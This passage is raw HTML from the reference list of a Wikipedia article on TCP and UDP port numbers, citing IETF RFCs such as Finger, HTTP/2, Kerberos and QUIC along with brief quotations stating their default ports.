cs1\">Braden, R. (1977-11-22). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc740#page-3\"><i>NETRJS Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;3. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0740\">10.17487/RFC0740</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc740\">740</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=NETRJS+Protocol&amp;rft.pages=p.-3&amp;rft.pub=IETF&amp;rft.date=1977-11-22&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0740&amp;rft.aulast=Braden&amp;rft.aufirst=R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc740%26%23035%3Bpage-3&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc820-45\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc820_45-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostelVernon1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, Jon</a>; Vernon, J. (January 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc820#page-10\"><i>Assigned Numbers</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;10. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0820\">10.17487/RFC0820</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc820\">820</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Assigned+Numbers&amp;rft.pages=p.-10&amp;rft.pub=IETF&amp;rft.date=1983-01&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0820&amp;rft.aulast=Postel&amp;rft.aufirst=Jon&amp;rft.au=Vernon%2C+J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc820%26%23035%3Bpage-10&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc742-46\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc742_46-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKarrenstien1977\" class=\"citation cs1\">Karrenstien, K. (1977-12-30). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc742#page-1\"><i>NAME/FINGER Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0742\">10.17487/RFC0742</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc742\">742</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=NAME%2FFINGER+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1977-12-30&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0742&amp;rft.aulast=Karrenstien&amp;rft.aufirst=K.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc742%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1288-47\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1288_47-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFZimmerman1991\" class=\"citation cs1\">Zimmerman, David Paul (December 1991). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1288#section-2.1\">\"Flow of events\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1288\"><i>The Finger User Information Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;4.&#160;sec.&#160;2.1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1288\">10.17487/RFC1288</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1288\">1288</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>. <q>...&#160;Finger is based on the Transmission Control Protocol, using TCP port 79 decimal&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Flow+of+events&amp;rft.btitle=The+Finger+User+Information+Protocol&amp;rft.pages=p.-4.-sec.-2.1&amp;rft.pub=IETF&amp;rft.date=1991-12&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1288&amp;rft.aulast=Zimmerman&amp;rft.aufirst=David+Paul&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1288%26%23035%3Bsection-2.1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc7230-48\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc7230_48-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc7230_48-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFFieldingReschke2014\" class=\"citation cs1\"><a href=\"/wiki/Roy_Fielding\" title=\"Roy Fielding\">Fielding, Roy T.</a>; Reschke, Julian F., eds. (June 2014). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7230\"><i>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;11, 17, 19, 42–43, 50. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC7230\">10.17487/RFC7230</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7230\">7230</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Hypertext+Transfer+Protocol+%28HTTP%2F1.1%29%3A+Message+Syntax+and+Routing&amp;rft.pages=pp.-11%2C+17%2C+19%2C+42-43%2C+50&amp;rft.pub=IETF&amp;rft.date=2014-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC7230&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc7230&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc7540-49\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc7540_49-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc7540_49-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBelshePeon2015\" class=\"citation cs1\"><a href=\"/wiki/Mike_Belshe\" title=\"Mike Belshe\">Belshe, Mike</a>; Peon, Roberto (May 2015). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7540#section-3\">\"Starting HTTP/2\"</a>.  In Thomson, Martin (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7540\"><i>Hypertext Transfer Protocol Version 2 (HTTP/2)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;7.&#160;sec.&#160;3. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC7540\">10.17487/RFC7540</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7540\">7540</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>. <q>...&#160;HTTP/2 uses the same \"http\" and \"https\" URI schemes used by HTTP/1.1. HTTP/2 shares the same default port numbers: 80 for \"http\" URIs and 443 for \"https\" URIs.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Starting+HTTP%2F2&amp;rft.btitle=Hypertext+Transfer+Protocol+Version+2+%28HTTP%2F2%29&amp;rft.pages=p.-7.-sec.-3&amp;rft.pub=IETF&amp;rft.date=2015-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC7540&amp;rft.aulast=Belshe&amp;rft.aufirst=Mike&amp;rft.au=Peon%2C+Roberto&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc7540%26%23035%3Bsection-3&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-quic-50\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-quic_50-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-quic_50-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFIyengarThomson\" class=\"citation cs1\">Iyengar, J.; Thomson, M. <a rel=\"nofollow\" class=\"external text\" href=\"https://tools.ietf.org/html/draft-ietf-quic-transport-13\"><i>QUIC: A UDP-Based Multiplexed and Secure Transport</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. I-D ietf-quic-transport<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=QUIC%3A+A+UDP-Based+Multiplexed+and+Secure+Transport&amp;rft.pub=IETF&amp;rft.aulast=Iyengar&amp;rft.aufirst=J.&amp;rft.au=Thomson%2C+M.&amp;rft_id=https%3A%2F%2Ftools.ietf.org%2Fhtml%2Fdraft-ietf-quic-transport-13&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1510-51\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1510_51-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKohlNeuman1993\" class=\"citation cs1\">Kohl, John; Neuman, B. Clifford (September 1993). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1510#section-8.2.1\">\"IP transport\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1510\"><i>The Kerberos Network Authentication Service (V5)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;81–82.&#160;sec.&#160;8.2.1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1510\">10.17487/RFC1510</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1510\">1510</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>. <q>...&#160;When contacting a Kerberos server (KDC)&#160;...&#160;the client shall send a UDP datagram containing only an encoding of the request to port 88 (decimal) at the KDC's IP address&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=IP+transport&amp;rft.btitle=The+Kerberos+Network+Authentication+Service+%28V5%29&amp;rft.pages=pp.-81-82.-sec.-8.2.1&amp;rft.pub=IETF&amp;rft.date=1993-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1510&amp;rft.aulast=Kohl&amp;rft.aufirst=John&amp;rft.au=Neuman%2C+B.+Clifford&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1510%26%23035%3Bsection-8.2.1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc4120-52\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc4120_52-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFNeumanYuHartmanRaeburn2005\" class=\"citation cs1\">Neuman, Clifford; Yu, Tom; Hartman, Sam; Raeburn, Kenneth (July 2005). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4120\"><i>The Kerberos Network Authentication Service (V5)</i></a>. Acknowledgements to John Kohl et al. in section 11 \"Acknowledgements\", pages 121–122. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;102–103, 105. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC4120\">10.17487/RFC4120</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4120\">4120</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>. <q>...&#160;Kerberos servers (KDCs) supporting IP transports MUST accept TCP&#160;...&#160;UDP requests and SHOULD listen for them on port 88 (decimal)&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+Kerberos+Network+Authentication+Service+%28V5%29&amp;rft.pages=pp.-102-103%2C+105&amp;rft.pub=IETF&amp;rft.date=2005-07&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC4120&amp;rft.aulast=Neuman&amp;rft.aufirst=Clifford&amp;rft.au=Yu%2C+Tom&amp;rft.au=Hartman%2C+Sam&amp;rft.au=Raeburn%2C+Kenneth&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc4120&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-53\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-53\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCrispin1977\" class=\"citation cs1\">Crispin, Mark (7 October 1977). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc734\"><i>SUPDUP Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;15. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0734\">10.17487/RFC0734</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc734\">734</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-09-24</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=SUPDUP+Protocol&amp;rft.pages=pp.-15&amp;rft.pub=IETF&amp;rft.date=1977-10-07&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0734&amp;rft.aulast=Crispin&amp;rft.aufirst=Mark&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc734&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc953-54\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc953_54-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHarrenstienStahlFeinler1985\" class=\"citation cs1\">Harrenstien, K.; Stahl, M.; Feinler, E. (October 1985). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc953\"><i>HOSTNAME SERVER</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC953\">10.17487/RFC953</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc953\">953</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=HOSTNAME+SERVER&amp;rft.pages=pp.-1&amp;rft.pub=IETF&amp;rft.date=1985-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC953&amp;rft.aulast=Harrenstien&amp;rft.aufirst=K.&amp;rft.au=Stahl%2C+M.&amp;rft.au=Feinler%2C+E.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc953&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc983-55\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc983_55-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCassRose1986\" class=\"citation cs1\">Cass, D. E.; Rose, M. T. (April 1986). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc983\"><i>ISO Transport Services on Top of the TCP</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;5, 8, 12–13, 23–24. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0983\">10.17487/RFC0983</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc983\">983</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;A TSAP server begins by LISTENing on TCP port 102.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=ISO+Transport+Services+on+Top+of+the+TCP&amp;rft.pages=pp.-5%2C+8%2C+12-13%2C+23-24&amp;rft.pub=IETF&amp;rft.date=1986-04&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0983&amp;rft.aulast=Cass&amp;rft.aufirst=D.+E.&amp;rft.au=Rose%2C+M.+T.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc983&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1006-56\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1006_56-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRoseCass1987\" class=\"citation cs1\">Rose, Marshall T.; Cass, Dwight E. (May 1987). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1006\"><i>ISO Transport Service on top of the TCP Version: 3</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;1, 13. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1006\">10.17487/RFC1006</a></span>. STD 35.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1006\">1006</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;TCP port 102 is reserved for hosts which implement this standard.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=ISO+Transport+Service+on+top+of+the+TCP+Version%3A+3&amp;rft.pages=pp.-1%2C+13&amp;rft.pub=IETF&amp;rft.date=1987-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1006&amp;rft.aulast=Rose&amp;rft.aufirst=Marshall+T.&amp;rft.au=Cass%2C+Dwight+E.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1006&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc2378-57\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc2378_57-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHedbergPomes1998\" class=\"citation cs1\">Hedberg, Roland; Pomes, Paul (September 1998). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2378#section-2\">\"Basic Operation\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2378\"><i>The CCSO Nameserver (Ph) Architecture</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;4.&#160;sec.&#160;2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2378\">10.17487/RFC2378</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2378\">2378</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;Initially, the server host starts the Ph service by listening on TCP port 105.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Basic+Operation&amp;rft.btitle=The+CCSO+Nameserver+%28Ph%29+Architecture&amp;rft.pages=p.-4.-sec.-2&amp;rft.pub=IETF&amp;rft.date=1998-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2378&amp;rft.aulast=Hedberg&amp;rft.aufirst=Roland&amp;rft.au=Pomes%2C+Paul&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2378%26%23035%3Bsection-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc818-58\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc818_58-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1982\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, Jon</a> (November 1982). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc818#page-1\"><i>The Remote User Telnet Service</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi 